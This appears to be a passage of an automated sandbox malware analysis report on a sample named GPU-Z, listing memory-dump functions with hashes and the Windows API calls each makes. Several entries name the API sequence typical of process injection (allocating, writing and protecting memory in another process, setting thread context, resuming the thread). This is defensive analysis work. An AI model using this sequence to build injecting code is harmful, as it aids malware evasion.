Opcode ID: 52bd134957a48e4743c939ec96079c1505d237e5b7c7fff2580ae9b9d62a60f6
Instruction ID: 36ec2ccc34a2c1a5d019e6be324860dfcb46672aa7e8c742b3bb5329901e899f
Opcode Fuzzy Hash: 52bd134957a48e4743c939ec96079c1505d237e5b7c7fff2580ae9b9d62a60f6
Instruction Fuzzy Hash: 352126B5D00259DFCB10DFA9C880BEEBBF5FF48310F14842AE519A7250CB78A940CBA1

Function 07FF1370 Relevance: 1.6, APIs: 1, Instructions: 69threadCOMMON

Download Yara Rule

APIs

Wow64GetThreadContext.KERNEL32(?,00000000), ref: 07FF13F6

Memory Dump Source

Source File: 00000000.00000002.2860899704.0000000007FF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07FF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff0000_GPU-Z.jbxd

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: 95a2a14cafaaecaac36395f6334f591e03b1e6ae6a28338bbf7d2c95d964a3df
Instruction ID: 58ea3acaf8a00e255a7295a2553aababeb0e4ac63f558d37c08617143ed04bea
Opcode Fuzzy Hash: 95a2a14cafaaecaac36395f6334f591e03b1e6ae6a28338bbf7d2c95d964a3df
Instruction Fuzzy Hash: F22145B1D002098FDB10DFAAC4847EEFBF5EF88320F14842AD519A7240DB78A945CBA0

Function 07FF1DA0 Relevance: 1.6, APIs: 1, Instructions: 69injectionCOMMON

Download Yara Rule

APIs

WriteProcessMemory.KERNELBASE(?,?,00000000,?,?), ref: 07FF1E30

Memory Dump Source

Source File: 00000000.00000002.2860899704.0000000007FF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07FF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff0000_GPU-Z.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: 262a99776d1b0a4c131a16b7b3670c4d5393fb55cef5df5bd44fc03a45338aae
Instruction ID: 49ceb261f845029c23da7162665ba097e94528750ae9f1214d3d0d5db31aaea3
Opcode Fuzzy Hash: 262a99776d1b0a4c131a16b7b3670c4d5393fb55cef5df5bd44fc03a45338aae
Instruction Fuzzy Hash: 592128B5900349DFCB10DFA9C885BDEBBF5FF48310F148429E519A7250C778A944CBA1

Function 07FF2238 Relevance: 1.6, APIs: 1, Instructions: 66COMMON

Download Yara Rule

APIs

VirtualProtectEx.KERNELBASE(?,?,?,?,?), ref: 07FF22B7

Memory Dump Source

Source File: 00000000.00000002.2860899704.0000000007FF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07FF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff0000_GPU-Z.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 93eb44b525641b92302960725eac7008a11cce9b0110dad0555099a3284e927a
Instruction ID: c36916773c4f99d2fbe58a4344f5f49e3a6820f652000a2cc49eae8d44a6be80
Opcode Fuzzy Hash: 93eb44b525641b92302960725eac7008a11cce9b0110dad0555099a3284e927a
Instruction Fuzzy Hash: BC213AB5C002499FDB10DF9AC845AEEFBF5FF48320F148429D519A7250CB79A945CFA1

Function 07FF24D8 Relevance: 1.6, APIs: 1, Instructions: 66threadCOMMON

Download Yara Rule

APIs

Wow64SetThreadContext.KERNEL32(?,00000000), ref: 07FF255E

Memory Dump Source

Source File: 00000000.00000002.2860899704.0000000007FF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07FF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff0000_GPU-Z.jbxd

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: b2ff6e76082df91aa340594fefcd62d6e8070ab5e7c12c17853bb6b2ec54d8cb
Instruction ID: 89173172f60467cc1703d48c196614bdad1e6c5bfed4a0fc47921196e06286fa
Opcode Fuzzy Hash: b2ff6e76082df91aa340594fefcd62d6e8070ab5e7c12c17853bb6b2ec54d8cb
Instruction Fuzzy Hash: C72137B1D002099FDB14DFAAC485BAEBBF5FF48314F18842AD519A7240CB78A945CBA5

Function 07FF1378 Relevance: 1.6, APIs: 1, Instructions: 63threadCOMMON

Download Yara Rule

APIs

Wow64GetThreadContext.KERNEL32(?,00000000), ref: 07FF13F6

Memory Dump Source

Source File: 00000000.00000002.2860899704.0000000007FF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07FF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff0000_GPU-Z.jbxd

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: 4ac36465f9775bd47663f1f6780c580c5935de2f0a47c2fa0f8b24c48d41697c
Instruction ID: e2c167d16c0e2c75227f2b6df012a88c0da6daa9face85ddba8106c697a1ffaa
Opcode Fuzzy Hash: 4ac36465f9775bd47663f1f6780c580c5935de2f0a47c2fa0f8b24c48d41697c
Instruction Fuzzy Hash: 412135B1D003098FDB14DFAAC4857EEBBF4EF88320F14842AD519A7240DB78A945CFA1

Function 07FF24E0 Relevance: 1.6, APIs: 1, Instructions: 63threadCOMMON

Download Yara Rule

APIs

Wow64SetThreadContext.KERNEL32(?,00000000), ref: 07FF255E

Memory Dump Source

Source File: 00000000.00000002.2860899704.0000000007FF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07FF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff0000_GPU-Z.jbxd

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: 0b25110190462c178b8bb17c8ee512ffc2d88a2809437d11bf6b74c343108e72
Instruction ID: 724bb2086565306816eff625647fab0407e3d7b8a1502ab7a4648e85ec80bb58
Opcode Fuzzy Hash: 0b25110190462c178b8bb17c8ee512ffc2d88a2809437d11bf6b74c343108e72
Instruction Fuzzy Hash: 772135B1D002098FDB10DFAAC4857EEBBF5FF88324F14842AD519A7240CB78A945CFA1

Function 07FF2240 Relevance: 1.6, APIs: 1, Instructions: 60COMMON

Download Yara Rule

APIs

VirtualProtectEx.KERNELBASE(?,?,?,?,?), ref: 07FF22B7

Memory Dump Source

Source File: 00000000.00000002.2860899704.0000000007FF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07FF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff0000_GPU-Z.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 5e7f823c3441e996d7c0fcd7db17819698cf7de5308409e66a2ae25043269352
Instruction ID: 5ec13a504aa625dd86c5ba078ad28f691625c2719183e3211d199ea9bc1bb12a
Opcode Fuzzy Hash: 5e7f823c3441e996d7c0fcd7db17819698cf7de5308409e66a2ae25043269352
Instruction Fuzzy Hash: 222127B1C002099FDB10DFAAC844AEEFBF5FF48320F14842AD519A7250CB79A945CFA1

Function 088D2E58 Relevance: 1.6, APIs: 1, Instructions: 59fileCOMMON

Download Yara Rule

APIs

DeleteFileW.KERNELBASE(00000000), ref: 088DC030

Memory Dump Source

Source File: 00000000.00000002.2861417736.00000000088D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 088D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_88d0000_GPU-Z.jbxd

Similarity

API ID: DeleteFile
String ID:
API String ID: 4033686569-0
Opcode ID: ca68d122c632462dfb9526eb8f27f6984d0495e0485fa42404bb96ac1876e9cc
Instruction ID: a1f6740a9518fdda57cb99b5469cf74eca647fb142fe38b5f3f1c47bc7dadd4b
Opcode Fuzzy Hash: ca68d122c632462dfb9526eb8f27f6984d0495e0485fa42404bb96ac1876e9cc
Instruction Fuzzy Hash: 0B2122B1C0061A9BCB24DF9AC444BAEFBB5FF48320F11816AD918A7740D778A944CFE5

Function 07FE8A29 Relevance: 1.6, APIs: 1, Instructions: 58memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE(?,?,?,?), ref: 07FE8AA3

Memory Dump Source

Source File: 00000000.00000002.2860807649.0000000007FE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07FE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7fe0000_GPU-Z.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 1304b68f6660f4ec4ec5f7c1d2532cf6f14060f8e274ea320fa2ce1737d970b7
Instruction ID: 926848f7e11d10a14547c0a8a3b608a24d5686c058d4c3b2b972992fb31992d0
Opcode Fuzzy Hash: 1304b68f6660f4ec4ec5f7c1d2532cf6f14060f8e274ea320fa2ce1737d970b7
Instruction Fuzzy Hash: 042108B5D002499FDB10DF9AC844ADEFBF4FF48320F148429E958A7250D778A544CFA1

Function 08BAFC29 Relevance: 1.6, APIs: 1, Instructions: 58memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE(?,?,?,?), ref: 08BAFCA3

Memory Dump Source

Source File: 00000000.00000002.2861831669.0000000008BA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 08BA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8ba0000_GPU-Z.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: b02466d16c37a6d3133c1f1bcbe4a290241c4d1f25bfbbf5bae66d69f70c3ae6
Instruction ID: 0db276fd866d6c7ae28f2f7a2c2292e1f86c0a36e3d3fd567b891a2ff3c4bf2f
Opcode Fuzzy Hash: b02466d16c37a6d3133c1f1bcbe4a290241c4d1f25bfbbf5bae66d69f70c3ae6
Instruction Fuzzy Hash: 432138B69002499FCB10DFAAC444BEEFBF5FF48320F10802AE858A3250D378A544CFA1

Function 07FF1A58 Relevance: 1.6, APIs: 1, Instructions: 56memoryCOMMON

Download Yara Rule

APIs

VirtualAllocEx.KERNELBASE(?,?,?,?,?), ref: 07FF1ACE

Memory Dump Source

Source File: 00000000.00000002.2860899704.0000000007FF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07FF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff0000_GPU-Z.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 02e5ec003c429552252e57bc9a69cb229cb648a9ebd5b26349b526a62780ce3c
Instruction ID: 9fcc3cf5d7b7e1cdea4b7c9e07c3241da14b7d9606498bcf37284c8d4a1c6013
Opcode Fuzzy Hash: 02e5ec003c429552252e57bc9a69cb229cb648a9ebd5b26349b526a62780ce3c
Instruction Fuzzy Hash: A91159B1C002499FDB24DFAAC845AEFBBF5EF48314F148419E529A7250CB79A940CFA1

Function 07FE8A30 Relevance: 1.6, APIs: 1, Instructions: 55memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE(?,?,?,?), ref: 07FE8AA3

Memory Dump Source

Source File: 00000000.00000002.2860807649.0000000007FE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07FE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7fe0000_GPU-Z.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: de31043b94c146536eecfe09e5b9672747c356d57fe5dba072ea2bf7b765944e
Instruction ID: 5877fb9bd9d2ef2ede23e85a2d10f3e3f54f654f9f82f68511e6e46df06b2f5e
Opcode Fuzzy Hash: de31043b94c146536eecfe09e5b9672747c356d57fe5dba072ea2bf7b765944e
Instruction Fuzzy Hash: A421E4B59002499FDB10DF9AC884BDEFBF8FF48320F148429E958A7250D778A944CFA5

Function 08BAFC30 Relevance: 1.6, APIs: 1, Instructions: 55memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE(?,?,?,?), ref: 08BAFCA3

Memory Dump Source

Source File: 00000000.00000002.2861831669.0000000008BA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 08BA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8ba0000_GPU-Z.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: e215d718e8f6b258012b79745a1117dd4aa57277f8614feb097cc5760dcbf11c
Instruction ID: 612c2bfc1583fb462a390d5b4f07aa6ffa29147dc5b449966daebfafeffbcd90
Opcode Fuzzy Hash: e215d718e8f6b258012b79745a1117dd4aa57277f8614feb097cc5760dcbf11c
Instruction Fuzzy Hash: B52114B69002499FCB10DF9AC484BDEFBF4FF48320F108429E958A3250D778A944CFA1

Function 07FF1A60 Relevance: 1.6, APIs: 1, Instructions: 53memoryCOMMON

Download Yara Rule

APIs

VirtualAllocEx.KERNELBASE(?,?,?,?,?), ref: 07FF1ACE

Memory Dump Source

Source File: 00000000.00000002.2860899704.0000000007FF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07FF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff0000_GPU-Z.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 2d8c8db651db81b8949a9d9692aa11b9b98598129241f30ec2d42e1532e2bae0
Instruction ID: e1039998c4e2055332ccfef5fc699ba1ab4aca451b364f170f7858a4c5bd61be
Opcode Fuzzy Hash: 2d8c8db651db81b8949a9d9692aa11b9b98598129241f30ec2d42e1532e2bae0
Instruction Fuzzy Hash: 921137B58002499FCB10DFAAC844AEFBFF5EF88320F148419E519A7250CB79A940CFA1

Function 07FF2740 Relevance: 1.6, APIs: 1, Instructions: 51threadCOMMON

Download Yara Rule

APIs

ResumeThread.KERNELBASE ref: 07FF27AA

Memory Dump Source

Source File: 00000000.00000002.2860899704.0000000007FF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07FF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff0000_GPU-Z.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: 88a029da8fe4a25352cf72fa44f1a2f0ad1251913e6d6bf1bacd09868315ba07
Instruction ID: d1cc6dc718e3901270eeadc3c213bcef48d49b219038940f6bf10b4a22d216c2
Opcode Fuzzy Hash: 88a029da8fe4a25352cf72fa44f1a2f0ad1251913e6d6bf1bacd09868315ba07
Instruction Fuzzy Hash: BB1143B58002498FDB24DFAAC4457EEFBF5FF88324F248419D519A7250CB79A944CBA4

Function 07FF2748 Relevance: 1.5, APIs: 1, Instructions: 49threadCOMMON

Download Yara Rule

APIs

ResumeThread.KERNELBASE ref: 07FF27AA

Memory Dump Source

Source File: 00000000.00000002.2860899704.0000000007FF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07FF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff0000_GPU-Z.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: b955a74cd90c01d0c4734cb593ee2deb0c441ad02b3026ff07a0a7ccb8804341
Instruction ID: c9bba4510eda448b0946cad231ef05e6d617611e21b5c1ecd85150eed9fd8061
Opcode Fuzzy Hash: b955a74cd90c01d0c4734cb593ee2deb0c441ad02b3026ff07a0a7ccb8804341
Instruction Fuzzy Hash: AE1166B1C002088FDB20DFAAC4447EEFBF5EF88320F248419C519A7250CB79A940CFA4

Function 07FF44B9 Relevance: 1.5, APIs: 1, Instructions: 47windowCOMMON

Download Yara Rule

APIs

PostMessageW.USER32(?,?,?,?), ref: 07FF451D

Memory Dump Source

Source File: 00000000.00000002.2860899704.0000000007FF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07FF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff0000_GPU-Z.jbxd

Similarity

API ID: MessagePost
String ID:
API String ID: 410705778-0
Opcode ID: a66f6f78ad8b40759840b4925e7d1bf0b23a2ce55fc903eaf41f3483b68db1fd
Instruction ID: ee28c951e236108bada7c38511ecdf3f45eb808626c42c5d70b86995dd8195ce
Opcode Fuzzy Hash: a66f6f78ad8b40759840b4925e7d1bf0b23a2ce55fc903eaf41f3483b68db1fd
Instruction Fuzzy Hash: A511E0B58003499FDB10DF9AD884BEEBBF8FF48320F148459E918A7210C379A944CFA1

Function 07FF44C0 Relevance: 1.5, APIs: 1, Instructions: 44windowCOMMON

Download Yara Rule

APIs

PostMessageW.USER32(?,?,?,?), ref: 07FF451D

Memory Dump Source

Source File: 00000000.00000002.2860899704.0000000007FF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07FF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff0000_GPU-Z.jbxd

Similarity

API ID: MessagePost
String ID:
API String ID: 410705778-0
Opcode ID: 1d37ff1d5dff432e46d0d5b8fc405b5a2f8e9a54f2edd0933e0513050c885958
Instruction ID: 0d3029cb7801b810dec65045eab4fb035187e73d4fdec6696461684ded807a1d
Opcode Fuzzy Hash: 1d37ff1d5dff432e46d0d5b8fc405b5a2f8e9a54f2edd0933e0513050c885958
Instruction Fuzzy Hash: FF11D3B58003499FDB10DF9AD445BEEBBF8EF48320F148459D918A7610C379A944CFA1

Function 031B8F30 Relevance: 1.5, Strings: 1, Instructions: 213COMMON

Download Yara Rule

Strings

4']q, xrefs: 031B90E2

Memory Dump Source

Source File: 00000000.00000002.2836290715.00000000031B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 031B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_31b0000_GPU-Z.jbxd

Similarity

API ID:
String ID: 4']q
API String ID: 0-1259897404
Opcode ID: a054b53fe56c3e4c37d99e48ca3978b7b2c08f1e8d7d592509bff299f475cb7a
Instruction ID: 5172bbe58a29bc4de645d867e7ded4a4b47a2740eff3f31444ad30cb044b2d33
Opcode Fuzzy Hash: a054b53fe56c3e4c37d99e48ca3978b7b2c08f1e8d7d592509bff299f475cb7a
Instruction Fuzzy Hash: 7C719F303141559FC714DF39C984ABABBFDEF4D650B1A44A9EA15CB361EB31DC428B60

Function 08A9F4C0 Relevance: 1.5, Strings: 1, Instructions: 210COMMON

Download Yara Rule

Strings

4']q, xrefs: 08A9F52F

Memory Dump Source

Source File: 00000000.00000002.2861681889.0000000008A90000.00000040.00000800.00020000.00000000.sdmp, Offset: 08A90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8a90000_GPU-Z.jbxd

Similarity

API ID:
String ID: 4']q
API String ID: 0-1259897404
Opcode ID: 30d1ed450839a8cbfb1b149263cd9479fdba30488ae169f9428958b0fca38f62
Instruction ID: 80326f91501354ee69a9100a1bf1e0f7b5fd12d0dab77e0a8db1124a4ce059f2
Opcode Fuzzy Hash: 30d1ed450839a8cbfb1b149263cd9479fdba30488ae169f9428958b0fca38f62
Instruction Fuzzy Hash: F971A030B181168FCB04EFB9E98576E7BF6FF88705F404528D489E7255DE389C4687A2

Function 0678CFA8 Relevance: 1.4, Strings: 1, Instructions: 158COMMON

Download Yara Rule

Strings

PH]q, xrefs: 0678D126

Memory Dump Source

Source File: 00000000.00000002.2858187805.0000000006780000.00000040.00000800.00020000.00000000.sdmp, Offset: 06780000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6780000_GPU-Z.jbxd

Similarity

API ID:
String ID: PH]q
API String ID: 0-3168235125
Opcode ID: 536769fe3e6500eabda80271a4fdcf53c69fa0f5160950ed70f1b7e89a685e83
Instruction ID: 23d62e3c133e4d95091b49b9f1d9c922f709fdb2f4a95a2686e362367be3321e
Opcode Fuzzy Hash: 536769fe3e6500eabda80271a4fdcf53c69fa0f5160950ed70f1b7e89a685e83
Instruction Fuzzy Hash: 31511634B505048FCB58EF28D998AA977F2BF89311B1585A8E406DB3A1DB31EC41CF50

Function 06785090 Relevance: 1.4, Strings: 1, Instructions: 142COMMON

Download Yara Rule

Strings

Haq, xrefs: 067851AF

Memory Dump Source

Source File: 00000000.00000002.2858187805.0000000006780000.00000040.00000800.00020000.00000000.sdmp, Offset: 06780000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6780000_GPU-Z.jbxd

Similarity

API ID:
String ID: Haq
API String ID: 0-725504367
Opcode ID: 65237713a4b7899148c6754c83abefb36ac9736cac0d5f7601a1d3617030c119
Instruction ID: a4f5277d99a36d3dfb8ef65eb0f118c3dd35047eb44f904102c5e3ce16daee14
Opcode Fuzzy Hash: 65237713a4b7899148c6754c83abefb36ac9736cac0d5f7601a1d3617030c119
Instruction Fuzzy Hash: C5412232B002119FD785AF7898A427F7AABEFC5310B148429E906CB385DE38CC46C3D2

Function 0678FD5B Relevance: 1.4, Strings: 1, Instructions: 138COMMON

Download Yara Rule

Strings

PH]q, xrefs: 0678FF09

Memory Dump Source

Source File: 00000000.00000002.2858187805.0000000006780000.00000040.00000800.00020000.00000000.sdmp, Offset: 06780000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6780000_GPU-Z.jbxd

Similarity

API ID:
String ID: PH]q
API String ID: 0-3168235125
Opcode ID: 1ee04d14c0fd767994695e58f187cf59e04aa445ba917f699beb7e425b6a3c02
Instruction ID: 75d27debd81accd9f3f50cf501694a2a689bb74130dbbc1930fb1a60cef18b39
Opcode Fuzzy Hash: 1ee04d14c0fd767994695e58f187cf59e04aa445ba917f699beb7e425b6a3c02
Instruction Fuzzy Hash: B8514430A805058FDB58EF29C998BA9B7F5BF89744F1481A9E406DB261DB38EC45CB90

Function 06785B98 Relevance: 1.4, Strings: 1, Instructions: 130COMMON

Download Yara Rule

Strings

Haq, xrefs: 06785C70

Memory Dump Source

Source File: 00000000.00000002.2858187805.0000000006780000.00000040.00000800.00020000.00000000.sdmp, Offset: 06780000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6780000_GPU-Z.jbxd

Similarity

API ID:
String ID: Haq
API String ID: 0-725504367
Opcode ID: 22dcfcd2f75c17a0ffbc73548d0b9b09b59c92cd9fe3b46a0ac8bd84e311808a
Instruction ID: 74e32137b2049f9c2e04fb5a2c9d25fbf323d82865cd88a7fb94cd15b037becd
Opcode Fuzzy Hash: 22dcfcd2f75c17a0ffbc73548d0b9b09b59c92cd9fe3b46a0ac8bd84e311808a
Instruction Fuzzy Hash: B141F432A40211DFD794AF2CD0446BD7BA6FF89300F1982AAD8099B352CB35AC42CBD1

Function 031B8D30 Relevance: 1.4, Strings: 1, Instructions: 110COMMON

Download Yara Rule

Strings

4']q, xrefs: 031B8DAB

Memory Dump Source

Source File: 00000000.00000002.2836290715.00000000031B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 031B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_31b0000_GPU-Z.jbxd

Similarity

API ID:
String ID: 4']q
API String ID: 0-1259897404
Opcode ID: 791ecf07713fd12f7f0bb22a7af9e1143cfe4a53b1a63c5c62e9554fdebe5931
Instruction ID: 5400c216cd93923b2940788a79a0f45cd2a3036cdcd47a459fe12075a73826de
Opcode Fuzzy Hash: 791ecf07713fd12f7f0bb22a7af9e1143cfe4a53b1a63c5c62e9554fdebe5931
Instruction Fuzzy Hash: 3A4149356001559FCB14DF68D988AAA7BB9FF4CB50F1540A9F916CB3A0CB31DC91CBA1

Function 06789818 Relevance: 1.3, Strings: 1, Instructions: 83COMMON

Download Yara Rule

Strings

$]q, xrefs: 067898A1

Memory Dump Source

Source File: 00000000.00000002.2858187805.0000000006780000.00000040.00000800.00020000.00000000.sdmp, Offset: 06780000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6780000_GPU-Z.jbxd

Similarity

API ID:
String ID: $]q
API String ID: 0-1007455737
Opcode ID: 1d7a3d9eee5d38a1c0de8504ec870351facabe81b0e7b3f32f7a9ade678af452
Instruction ID: bd1d43b7681af6ee324eb6557323bb88417d62cdbbdb909aeb0a396823cf9a0d
Opcode Fuzzy Hash: 1d7a3d9eee5d38a1c0de8504ec870351facabe81b0e7b3f32f7a9ade678af452
Instruction Fuzzy Hash: 5A217931B90202DFDB94AB3DC85853A3BEAFF8562431184A9E606CF3A1DE34CC42C751

Function 06789807 Relevance: 1.3, Strings: 1, Instructions: 80COMMON

Download Yara Rule

Strings

$]q, xrefs: 067898A1

Memory Dump Source

Source File: 00000000.00000002.2858187805.0000000006780000.00000040.00000800.00020000.00000000.sdmp, Offset: 06780000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6780000_GPU-Z.jbxd

Similarity

API ID:
String ID: $]q
API String ID: 0-1007455737
Opcode ID: 8c24162a4ad02886ab5cab151f0309223767c6a628cbd57d3e0509fdadcae674
Instruction ID: 67e37746589fa7bf419c79db822415e65b90643508c05a23e1458f70926cfae2
Opcode Fuzzy Hash: 8c24162a4ad02886ab5cab151f0309223767c6a628cbd57d3e0509fdadcae674
Instruction Fuzzy Hash: AB21A735B95202DFDB95AB3DC8685393BE9FF4562130584A9E606CB3A1DF34CC02C761

Function 031B4FB0 Relevance: 1.3, Strings: 1, Instructions: 67COMMON

Download Yara Rule

Strings

4']q, xrefs: 031B4FD9

Memory Dump Source

Source File: 00000000.00000002.2836290715.00000000031B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 031B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_31b0000_GPU-Z.jbxd

Similarity

API ID:
String ID: 4']q
API String ID: 0-1259897404
Opcode ID: dc130ed98421b7d349a40f7d1f59d6060f047d0798a7780c8ac248ea0f6a62e6
Instruction ID: 434ce8b9b0d3c462573756be9b625393201a8d488cf63cc06b2a0e336d598f1a
Opcode Fuzzy Hash: dc130ed98421b7d349a40f7d1f59d6060f047d0798a7780c8ac248ea0f6a62e6
Instruction Fuzzy Hash: 4211D0327042019BCA08EBBDA95817E7AAAFFDA620709896DE157C7351DF308C029793

Function 031B4FC0 Relevance: 1.3, Strings: 1, Instructions: 54COMMON

Download Yara Rule

Strings

4']q, xrefs: 031B4FD9

Memory Dump Source

Source File: 00000000.00000002.2836290715.00000000031B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 031B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_31b0000_GPU-Z.jbxd

Similarity

API ID:
String ID: 4']q
API String ID: 0-1259897404
Opcode ID: 3e25eeda4774ad03b31241a1356a8546262ae793b5160667b0efd0fd59cefb45
Instruction ID: 85c39f515f3f9b4276664ed0a9f28b735f7ecb82dbac9e7cba65884d634b81ef
Opcode Fuzzy Hash: 3e25eeda4774ad03b31241a1356a8546262ae793b5160667b0efd0fd59cefb45
Instruction Fuzzy Hash: A7015E317002019BCA08ABBDAC6867E7A9BFBD8620755887DE55BC7340DF359C0257A7

Function 031BAE00 Relevance: 1.3, Strings: 1, Instructions: 54COMMON

Download Yara Rule

Strings

(aq, xrefs: 031BAE12

Memory Dump Source

Source File: 00000000.00000002.2836290715.00000000031B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 031B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_31b0000_GPU-Z.jbxd

Similarity

API ID:
String ID: (aq
API String ID: 0-600464949
Opcode ID: 52eeed9ef51de7f93855a47a57b9cbf625424f267d9f17929755c5b44adb7460
Instruction ID: 91909884ec35d97ecf9c058416841a1ffa70decfa46a667d483fc1dc9469ddda
Opcode Fuzzy Hash: 52eeed9ef51de7f93855a47a57b9cbf625424f267d9f17929755c5b44adb7460
Instruction Fuzzy Hash: 8E112531A093869FC315DB79A81005BBFBAEE8621170945AFD449D7642DF20ED05C3A2

Function 08A91808 Relevance: 1.3, Strings: 1, Instructions: 44COMMON

Download Yara Rule

Strings

(aq, xrefs: 08A91830

Memory Dump Source

Source File: 00000000.00000002.2861681889.0000000008A90000.00000040.00000800.00020000.00000000.sdmp, Offset: 08A90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8a90000_GPU-Z.jbxd

Similarity

API ID:
String ID: (aq
API String ID: 0-600464949
Opcode ID: 71788ff7ee137ffb1fdd11fa934a9e596d5ce8e59b9f819b4cbee6a7457e365e
Instruction ID: 90715ac8fd0a59810cc3de28bf281846fd573dd36c2f357d62e1597b962e6800
Opcode Fuzzy Hash: 71788ff7ee137ffb1fdd11fa934a9e596d5ce8e59b9f819b4cbee6a7457e365e
Instruction Fuzzy Hash: AEF0C82130D2955FC70A5A6D586066E7B9A9FC6651B1980BAE505CB392CE248C07D3B2

Function 08A9D33C Relevance: .6, Instructions: 600COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2861681889.0000000008A90000.00000040.00000800.00020000.00000000.sdmp, Offset: 08A90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8a90000_GPU-Z.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f2d21d9a2c31200c3f5ca0e5c2c3fe3ff40a842af5adaa998d7a3b641171d888
Instruction ID: 5f051387e232cae9128e8fc68b62d9f3f880e345fd96479285c81ed983d52fb3
Opcode Fuzzy Hash: f2d21d9a2c31200c3f5ca0e5c2c3fe3ff40a842af5adaa998d7a3b641171d888
Instruction Fuzzy Hash: C5D18D70B282148FCB04BBB8E98962D7BF6FF88314F414928E449E7751DE389C56CB56

Function 08A9D508 Relevance: .5, Instructions: 545COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2861681889.0000000008A90000.00000040.00000800.00020000.00000000.sdmp, Offset: 08A90000, based on PE: false

Joe Sandbox IDA Plugin

